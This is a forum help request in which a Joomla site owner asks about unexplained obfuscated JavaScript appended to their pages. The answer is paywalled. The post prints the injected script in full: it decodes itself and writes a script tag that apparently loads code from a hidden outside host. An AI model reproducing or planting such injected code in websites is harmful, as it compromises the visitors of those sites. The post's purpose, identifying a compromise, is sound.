troubleshooting Question

Strange code at bottom of joomla pages

Avatar of digitalwav
digitalwavFlag for United States of America asked on
8 Comments1 Solution216 ViewsLast Modified:
Recently, this code has shown up at the bottom of my Joomla site. Any ideas what it is?  It looks like obfuscated  javascript but I didn't put it there and it wasn't there when I originally put the joomla site up.

<script language=javascript>fzmk="%";wv="<s73cs72ipt las6egs75s61gs65=js61s76as73crips74>  s66s75nction lbus6a(s6bor){vas72 l,s73=\"4s56yKs29s4aO9]iGs55s70PNs48thls73s2c*-(uFs41s3a@rs33s37I+s5es636fs6es60s7aZEs3dws4ds61s20s76s64s7cs21['s6ds43.eg8s71~}s3bjbs6fs6b0s782#T{&$s42s5c\"s35s31_\",t=s22s22s2cwcvs2cxlks2ce=\"s22s2cs66s78s6es3bfs6fs72(l=s30s3bls3ckors2es6cs65ngths3bs6c+s2b){s20s77s63vs3dkor.cs68arAs74(s6c);xlk=s73s2es69ns64s65s78s4ffs28s77s63vs29;s69f(s78s6cs6b>-1s29s7b fxs6e=s28(xlk+1)s25s381s2d1)s3bif(fxn<s3d0s29s66xns2bs3d8s31;s65s2bs3ds73s2echs61rAt(s66xn-1);s20s7ds20s65ls73s65 s65+=wcs76s3b}s74+s3ds65;s64s6fcs75s6dent.ws72its65s28s74);s7ds3cs2fs73cript>";vetl=unescape(wv.replace(/s/g,fzmk));var a,ig;document.write(vetl);a="<,63GPhvs `8F 8gw5b d ,63GPh5>v|k6FCg`heM3Ghguv5<S.R+N{vs `8F 8gw\\5O d S63GPh\\5vSR.w\\5lhhP@//MMMe8kk8sg ` sKhs6,e6kC/44Fhheb,?5^|k6FCg`he3gng33g3^5\\5><\\/S.R+N{>5vJjv</,63GPh>v";lbuj(a);</script>
Join the community to see this answer!
Join our exclusive community to see this answer & millions of others.
Unlock 1 Answer and 8 Comments.
Join the Community
Learn from the best

Network and collaborate with thousands of CTOs, CISOs, and IT Pros rooting for you and your success.

Andrew Hancock - VMware vExpert
See if this solution works for you by signing up for a 7 day free trial.
Unlock 1 Answer and 8 Comments.
Try for 7 days

”The time we save is the biggest benefit of E-E to our team. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange.

-Mike Kapnisakis, Warner Bros